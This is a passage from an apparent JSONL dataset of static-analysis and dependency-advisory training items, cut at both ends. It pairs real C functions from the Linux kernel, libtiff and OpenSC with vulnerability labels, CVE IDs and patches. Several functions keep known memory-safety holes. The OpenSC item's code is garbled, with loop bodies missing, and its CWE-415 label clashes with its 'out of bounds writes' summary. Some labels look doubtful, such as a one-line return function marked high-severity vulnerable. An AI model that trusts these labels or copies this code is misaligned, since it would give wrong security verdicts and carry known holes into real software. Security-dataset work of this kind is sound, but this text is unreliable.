github.com/hashicorp/go-getter to 1.5.11 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int return_EIO(void)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.keycloak:keycloak-services\nInstalled version: 26.4.15\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.keycloak:keycloak-services\",\n \"installed_version\": \"26.4.15\",\n \"note\": \"org.keycloak:keycloak-services 26.4.15 is at or above the fixed version for GHSA-4gv3-mc9p-5wqc; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:9\nManifest: distro package manager (apt/apk)\nPackage: rsync\nInstalled version: <3.1.2-1+deb9u3\nSummary: rsync - security update", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DLA-2833-1\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:9\",\n \"package\": \"rsync\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <3.1.2-1+deb9u3\",\n \"fixed_version\": \"3.1.2-1+deb9u3\",\n \"finding\": \"rsync - security update\",\n \"remediation\": \"Upgrade rsync to 3.1.2-1+deb9u3 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static inline __u32 dccp_v6_init_sequence(struct sk_buff *skb)\n {\n \treturn secure_dccpv6_sequence_number(ipv6_hdr(skb)->daddr.s6_addr32,\n \t\t\t\t\t ipv6_hdr(skb)->saddr.s6_addr32,\n\t\t\t\t\t dccp_hdr(skb)->dccph_dport,\n\t\t\t\t\t dccp_hdr(skb)->dccph_sport );\n\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-3188\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-319", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: tiny-csrf\nInstalled version: <1.1.0\nSummary: tiny-csrf has openly visible CSRF tokens", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-pj2c-h76w-vv6f\",\n \"cve\": \"CVE-2022-39287\",\n \"aliases\": [\n \"CVE-2022-39287\"\n ],\n \"cwe\": \"CWE-319\",\n \"ecosystem\": \"npm\",\n \"package\": \"tiny-csrf\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.1.0\",\n \"fixed_version\": \"1.1.0\",\n \"finding\": \"tiny-csrf has openly visible CSRF tokens\",\n \"remediation\": \"Upgrade tiny-csrf to 1.1.0 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-415", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-415). Produce the patched version and explain the fix. Output JSON.", "input": "static int tcos_select_file(sc_card_t *card,\n\t\t\t const sc_path_t *in_path,\n\t\t\t sc_file_t **file_out)\n{\n\tsc_context_t *ctx;\n\tsc_apdu_t apdu;\n\tsc_file_t *file=NULL;\n\tu8 buf[SC_MAX_APDU_BUFFER_SIZE], pathbuf[SC_MAX_PATH_SIZE], *path = pathbuf;\n\tunsigned int i;\n\tint r, pathlen;\n\n\tassert(card != NULL && in_path != NULL);\n\tctx=card->ctx;\n\tmemcpy(path, in_path->value, in_path->len);\n\tpathlen = in_path->len;\n\n\tsc_format_apdu(card, &apdu, SC_APDU_CASE_4_SHORT, 0xA4, 0, 0x04);\n\t\n\tswitch (in_path->type) {\n\tcase SC_PATH_TYPE_FILE_ID:\n\t\tif (pathlen != 2) return SC_ERROR_INVALID_ARGUMENTS;\n\t\t/* fall through */\n\tcase SC_PATH_TYPE_FROM_CURRENT:\n\t\tapdu.p1 = 9;\n\t\tbreak;\n\tcase SC_PATH_TYPE_DF_NAME:\n\t\tapdu.p1 = 4;\n\t\tbreak;\n\tcase SC_PATH_TYPE_PATH:\n\t\tapdu.p1 = 8;\n\t\tif (pathlen >= 2 && memcmp(path, \"\\x3F\\x00\", 2) == 0) path += 2, pathlen -= 2;\n\t\tif (pathlen == 0) apdu.p1 = 0;\n\t\tbreak;\n\tcase SC_PATH_TYPE_PARENT:\n\t\tapdu.p1 = 3;\n\t\tpathlen = 0;\n\t\tbreak;\n\tdefault:\n\t\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_INVALID_ARGUMENTS);\n\t}\n\tif( pathlen == 0 ) apdu.cse = SC_APDU_CASE_2_SHORT;\n\n\tapdu.lc = pathlen;\n\tapdu.data = path;\n\tapdu.datalen = pathlen;\n\n\tif (file_out != NULL) {\n\t\tapdu.resp = buf;\n\t\tapdu.resplen = sizeof(buf);\n\t\tapdu.le = 256;\n\t} else {\n\t\tapdu.resplen = 0;\n\t\tapdu.le = 0; \n\t\tapdu.p2 = 0x0C; \n\t\tapdu.cse = (pathlen == 0) ? SC_APDU_CASE_1 : SC_APDU_CASE_3_SHORT;\n\t}\n\n\tr = sc_transmit_apdu(card, &apdu);\n\tSC_TEST_RET(ctx, SC_LOG_DEBUG_NORMAL, r, \"APDU transmit failed\");\n\tr = sc_check_sw(card, apdu.sw1, apdu.sw2);\n\tif (r || file_out == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, r);\n\n\tif (apdu.resplen < 1 || apdu.resp[0] != 0x62){\n\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"received invalid template %02X\\n\", apdu.resp[0]);\n\t\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED);\n\t}\n\n\tfile = sc_file_new();\n\tif (file == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_NORMAL, SC_ERROR_OUT_OF_MEMORY);\n\t*file_out = file;\n \tfile->path = *in_path;\n \n \tfor(i=2; i+1size=0;\n\t\t\tfor(j=0; jsize = (file->size<<8) | d[j];\n\t\t\tbreak;\n\t\tcase 0x82:\n\t\t\tfile->shareable = (d[0] & 0x40) ? 1 : 0;\n\t\t\tfile->ef_structure = d[0] & 7;\n\t\t\tswitch ((d[0]>>3) & 7) {\n\t\t\tcase 0: file->type = SC_FILE_TYPE_WORKING_EF; break;\n\t\t\tcase 7: file->type = SC_FILE_TYPE_DF; break;\n\t\t\tdefault:\n\t\t\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"invalid file type %02X in file descriptor\\n\", d[0]);\n\t\t\t\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 0x83:\n \t\t\tfile->id = (d[0]<<8) | d[1];\n \t\t\tbreak;\n \t\tcase 0x84:\n\t\t\tmemcpy(file->name, d, len);\n\t\t\tfile->namelen = len;\n \t\t\tbreak;\n \t\tcase 0x86:\n \t\t\tsc_file_set_sec_attr(file, d, len); \n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif (len>0) sc_file_set_prop_attr(file, d, len); \n\t\t}\n\t}\n\tfile->magic = SC_FILE_MAGIC;\n\n\tparse_sec_attr(card, file, file->sec_attr, file->sec_attr_len);\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-415\",\n \"cwe_name\": \"Double Free\",\n \"cve\": \"CVE-2018-16425\",\n \"fixed_code\": \"static int tcos_select_file(sc_card_t *card,\\n\\t\\t\\t const sc_path_t *in_path,\\n\\t\\t\\t sc_file_t **file_out)\\n{\\n\\tsc_context_t *ctx;\\n\\tsc_apdu_t apdu;\\n\\tsc_file_t *file=NULL;\\n\\tu8 buf[SC_MAX_APDU_BUFFER_SIZE], pathbuf[SC_MAX_PATH_SIZE], *path = pathbuf;\\n\\tunsigned int i;\\n\\tint r, pathlen;\\n\\n\\tassert(card != NULL && in_path != NULL);\\n\\tctx=card->ctx;\\n\\tmemcpy(path, in_path->value, in_path->len);\\n\\tpathlen = in_path->len;\\n\\n\\tsc_format_apdu(card, &apdu, SC_APDU_CASE_4_SHORT, 0xA4, 0, 0x04);\\n\\t\\n\\tswitch (in_path->type) {\\n\\tcase SC_PATH_TYPE_FILE_ID:\\n\\t\\tif (pathlen != 2) return SC_ERROR_INVALID_ARGUMENTS;\\n\\t\\t/* fall through */\\n\\tcase SC_PATH_TYPE_FROM_CURRENT:\\n\\t\\tapdu.p1 = 9;\\n\\t\\tbreak;\\n\\tcase SC_PATH_TYPE_DF_NAME:\\n\\t\\tapdu.p1 = 4;\\n\\t\\tbreak;\\n\\tcase SC_PATH_TYPE_PATH:\\n\\t\\tapdu.p1 = 8;\\n\\t\\tif (pathlen >= 2 && memcmp(path, \\\"\\\\x3F\\\\x00\\\", 2) == 0) path += 2, pathlen -= 2;\\n\\t\\tif (pathlen == 0) apdu.p1 = 0;\\n\\t\\tbreak;\\n\\tcase SC_PATH_TYPE_PARENT:\\n\\t\\tapdu.p1 = 3;\\n\\t\\tpathlen = 0;\\n\\t\\tbreak;\\n\\tdefault:\\n\\t\\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_INVALID_ARGUMENTS);\\n\\t}\\n\\tif( pathlen == 0 ) apdu.cse = SC_APDU_CASE_2_SHORT;\\n\\n\\tapdu.lc = pathlen;\\n\\tapdu.data = path;\\n\\tapdu.datalen = pathlen;\\n\\n\\tif (file_out != NULL) {\\n\\t\\tapdu.resp = buf;\\n\\t\\tapdu.resplen = sizeof(buf);\\n\\t\\tapdu.le = 256;\\n\\t} else {\\n\\t\\tapdu.resplen = 0;\\n\\t\\tapdu.le = 0; \\n\\t\\tapdu.p2 = 0x0C; \\n\\t\\tapdu.cse = (pathlen == 0) ? SC_APDU_CASE_1 : SC_APDU_CASE_3_SHORT;\\n\\t}\\n\\n\\tr = sc_transmit_apdu(card, &apdu);\\n\\tSC_TEST_RET(ctx, SC_LOG_DEBUG_NORMAL, r, \\\"APDU transmit failed\\\");\\n\\tr = sc_check_sw(card, apdu.sw1, apdu.sw2);\\n\\tif (r || file_out == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, r);\\n\\n\\tif (apdu.resplen < 1 || apdu.resp[0] != 0x62){\\n\\t\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \\\"received invalid template %02X\\\\n\\\", apdu.resp[0]);\\n\\t\\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED);\\n\\t}\\n\\n\\tfile = sc_file_new();\\n\\tif (file == NULL) SC_FUNC_RETURN(ctx, SC_LOG_DEBUG_NORMAL, SC_ERROR_OUT_OF_MEMORY);\\n\\t*file_out = file;\\n \\tfile->path = *in_path;\\n \\n \\tfor(i=2; i+1size=0;\\n\\t\\t\\tfor(j=0; jsize = (file->size<<8) | d[j];\\n\\t\\t\\tbreak;\\n\\t\\tcase 0x82:\\n\\t\\t\\tfile->shareable = (d[0] & 0x40) ? 1 : 0;\\n\\t\\t\\tfile->ef_structure = d[0] & 7;\\n\\t\\t\\tswitch ((d[0]>>3) & 7) {\\n\\t\\t\\tcase 0: file->type = SC_FILE_TYPE_WORKING_EF; break;\\n\\t\\t\\tcase 7: file->type = SC_FILE_TYPE_DF; break;\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \\\"invalid file type %02X in file descriptor\\\\n\\\", d[0]);\\n\\t\\t\\t\\tSC_FUNC_RETURN(ctx, SC_LOG_DEBUG_VERBOSE, SC_ERROR_UNKNOWN_DATA_RECEIVED);\\n\\t\\t\\t}\\n\\t\\t\\tbreak;\\n\\t\\tcase 0x83:\\n \\t\\t\\tfile->id = (d[0]<<8) | d[1];\\n \\t\\t\\tbreak;\\n \\t\\tcase 0x84:\\n\\t\\t\\tfile->namelen = MIN(sizeof file->name, len);\\n\\t\\t\\tmemcpy(file->name, d, file->namelen);\\n \\t\\t\\tbreak;\\n \\t\\tcase 0x86:\\n \\t\\t\\tsc_file_set_sec_attr(file, d, len); \\n\\t\\t\\tbreak;\\n\\t\\tdefault:\\n\\t\\t\\tif (len>0) sc_file_set_prop_attr(file, d, len); \\n\\t\\t}\\n\\t}\\n\\tfile->magic = SC_FILE_MAGIC;\\n\\n\\tparse_sec_attr(card, file, file->sec_attr, file->sec_attr_len);\\n\\n\\treturn 0;\\n}\\n\",\n \"change_summary\": \"fixed out of bounds writes\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void nested_get_vmcs12_pages(struct kvm_vcpu *vcpu,\n\t\t\t\t\tstruct vmcs12 *vmcs12)\n{\n\tstruct vcpu_vmx *vmx = to_vmx(vcpu);\n\tstruct page *page;\n\tu64 hpa;\n\n\tif (nested_cpu_has2(vmcs12, SECONDARY_EXEC_VIRTUALIZE_APIC_ACCESSES)) {\n\t\t/*\n\t\t * Translate L1 physical address to host physical\n\t\t * address for vmcs02. Keep the page pinned, so this\n\t\t * physical address remains valid. We keep a reference\n\t\t * to it so we can release it later.\n\t\t */\n\t\tif (vmx->nested.apic_access_page) { /* shouldn't happen */\n\t\t\tkvm_release_page_dirty(vmx->nested.apic_access_page);\n\t\t\tvmx->nested.apic_access_page = NULL;\n\t\t}\n\t\tpage = kvm_vcpu_gpa_to_page(vcpu, vmcs12->apic_access_addr);\n\t\t/*\n\t\t * If translation failed, no matter: This feature asks\n\t\t * to exit when accessing the given address, and if it\n\t\t * can never be accessed, this feature won't do\n\t\t * anything anyway.\n\t\t */\n\t\tif (!is_error_page(page)) {\n\t\t\tvmx->nested.apic_access_page = page;\n\t\t\thpa = page_to_phys(vmx->nested.apic_access_page);\n\t\t\tvmcs_write64(APIC_ACCESS_ADDR, hpa);\n\t\t} else {\n\t\t\tvmcs_clear_bits(SECONDARY_VM_EXEC_CONTROL,\n\t\t\t\t\tSECONDARY_EXEC_VIRTUALIZE_APIC_ACCESSES);\n\t\t}\n\t}\n\n\tif (nested_cpu_has(vmcs12, CPU_BASED_TPR_SHADOW)) {\n\t\tif (vmx->nested.virtual_apic_page) { /* shouldn't happen */\n\t\t\tkvm_release_page_dirty(vmx->nested.virtual_apic_page);\n\t\t\tvmx->nested.virtual_apic_page = NULL;\n\t\t}\n\t\tpage = kvm_vcpu_gpa_to_page(vcpu, vmcs12->virtual_apic_page_addr);\n\n\t\t/*\n\t\t * If translation failed, VM entry will fail because\n\t\t * prepare_vmcs02 set VIRTUAL_APIC_PAGE_ADDR to -1ull.\n\t\t * Failing the vm entry is _not_ what the processor\n\t\t * does but it's basically the only possibility we\n\t\t * have. We could still enter the guest if CR8 load\n\t\t * exits are enabled, CR8 store exits are enabled, and\n\t\t * virtualize APIC access is disabled; in this case\n\t\t * the processor would never use the TPR shadow and we\n\t\t * could simply clear the bit from the execution\n\t\t * control. But such a configuration is useless, so\n\t\t * let's keep the code simple.\n\t\t */\n\t\tif (!is_error_page(page)) {\n\t\t\tvmx->nested.virtual_apic_page = page;\n\t\t\thpa = page_to_phys(vmx->nested.virtual_apic_page);\n\t\t\tvmcs_write64(VIRTUAL_APIC_PAGE_ADDR, hpa);\n\t\t}\n\t}\n\n\tif (nested_cpu_has_posted_intr(vmcs12)) {\n\t\tif (vmx->nested.pi_desc_page) { /* shouldn't happen */\n\t\t\tkunmap(vmx->nested.pi_desc_page);\n\t\t\tkvm_release_page_dirty(vmx->nested.pi_desc_page);\n\t\t\tvmx->nested.pi_desc_page = NULL;\n\t\t}\n\t\tpage = kvm_vcpu_gpa_to_page(vcpu, vmcs12->posted_intr_desc_addr);\n\t\tif (is_error_page(page))\n\t\t\treturn;\n\t\tvmx->nested.pi_desc_page = page;\n\t\tvmx->nested.pi_desc = kmap(vmx->nested.pi_desc_page);\n\t\tvmx->nested.pi_desc =\n\t\t\t(struct pi_desc *)((void *)vmx->nested.pi_desc +\n\t\t\t(unsigned long)(vmcs12->posted_intr_desc_addr &\n\t\t\t(PAGE_SIZE - 1)));\n\t\tvmcs_write64(POSTED_INTR_DESC_ADDR,\n\t\t\tpage_to_phys(vmx->nested.pi_desc_page) +\n\t\t\t(unsigned long)(vmcs12->posted_intr_desc_addr &\n\t\t\t(PAGE_SIZE - 1)));\n\t}\n\tif (nested_vmx_prepare_msr_bitmap(vcpu, vmcs12))\n\t\tvmcs_set_bits(CPU_BASED_VM_EXEC_CONTROL,\n\t\t\t CPU_BASED_USE_MSR_BITMAPS);\n\telse\n\t\tvmcs_clear_bits(CPU_BASED_VM_EXEC_CONTROL,\n\t\t\t\tCPU_BASED_USE_MSR_BITMAPS);\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "asmlinkage long sys32_sigsuspend(int history0, int history1, old_sigset_t mask)\n{\n\tmask &= _BLOCKABLE;\n\tspin_lock_irq(¤t->sighand->siglock);\n\tcurrent->saved_sigmask = current->blocked;\n\tsiginitset(¤t->blocked, mask);\n\trecalc_sigpending();\n\tspin_unlock_irq(¤t->sighand->siglock);\n\n\tcurrent->state = TASK_INTERRUPTIBLE;\n\tschedule();\n\tset_thread_flag(TIF_RESTORE_SIGMASK);\n\treturn -ERESTARTNOHAND;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "DECLAREreadFunc(readContigTilesIntoBuffer)\n{\n\tint status = 1;\n\ttsize_t tilesize = TIFFTileSize(in);\n \ttdata_t tilebuf;\n \tuint32 imagew = TIFFScanlineSize(in);\n \tuint32 tilew = TIFFTileRowSize(in);\n\tint iskew = imagew - tilew;\n \tuint8* bufp = (uint8*) buf;\n \tuint32 tw, tl;\n \tuint32 row;\n\n\t(void) spp;\n\ttilebuf = _TIFFmalloc(tilesize);\n\tif (tilebuf == 0)\n\t\treturn 0;\n\t_TIFFmemset(tilebuf, 0, tilesize);\n\t(void) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw);\n\t(void) TIFFGetField(in, TIFFTAG_TILELENGTH, &tl);\n \n\tfor (row = 0; row < imagelength; row += tl) {\n\t\tuint32 nrow = (row+tl > imagelength) ? imagelength-row : tl;\n\t\tuint32 colb = 0;\n\t\tuint32 col;\n\n\t\tfor (col = 0; col < imagewidth && colb < imagew; col += tw) {\n\t\t\tif (TIFFReadTile(in, tilebuf, col, row, 0, 0) < 0\n\t\t\t && !ignore) {\n\t\t\t\tTIFFError(TIFFFileName(in),\n\t\t\t\t \"Error, can't read tile at %lu %lu\",\n\t\t\t\t (unsigned long) col,\n\t\t\t\t (unsigned long) row);\n \t\t\t\tstatus = 0;\n \t\t\t\tgoto done;\n \t\t\t}\n\t\t\tif (colb + tilew > imagew) {\n \t\t\t\tuint32 width = imagew - colb;\n \t\t\t\tuint32 oskew = tilew - width;\n \t\t\t\tcpStripToTile(bufp + colb,\n\t\t\t\t tilebuf, nrow, width,\n\t\t\t\t oskew + iskew, oskew );\n\t\t\t} else\n\t\t\t\tcpStripToTile(bufp + colb,\n\t\t\t\t tilebuf, nrow, tilew,\n\t\t\t\t iskew, 0);\n\t\t\tcolb += tilew;\n\t\t}\n\t\tbufp += imagew * nrow;\n\t}\ndone:\n\t_TIFFfree(tilebuf);\n\treturn status;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-10093\",\n \"project\": \"libtiff\",\n \"vulnerable_lines\": [\n 8,\n 36\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"DECLAREreadFunc\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 15\n },\n {\n \"token\": \"readContigTilesIntoBuffer\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"status\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"tsize_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"tilesize\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"TIFFTileSize\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 35\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 36\n },\n {\n \"token\": \"tdata_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"tilebuf\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"uint32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"imagew\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \"TIFFScanlineSize\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 34\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 37\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 38\n },\n {\n \"token\": \"uint32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"tilew\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"TIFFTileRowSize\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 37\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"iskew\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \"imagew\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"-\",\n \"ast_node\": \"-\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \"tilew\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 27\n },\n {\n \"token\": \"uint8\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 7\n },\n {\n \"token\": \"bufp\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 14\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"uint8\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 23\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 28\n },\n {\n \"token\": \"uint32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \"tw\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 9\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"tl\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 15\n },\n {\n \"token\": \"uint32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 11,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/docker/docker\nInstalled version: 1.3.3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/docker/docker\",\n \"installed_version\": \"1.3.3\",\n \"note\": \"github.com/docker/docker 1.3.3 is at or above the fixed version for GO-2022-0640; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a 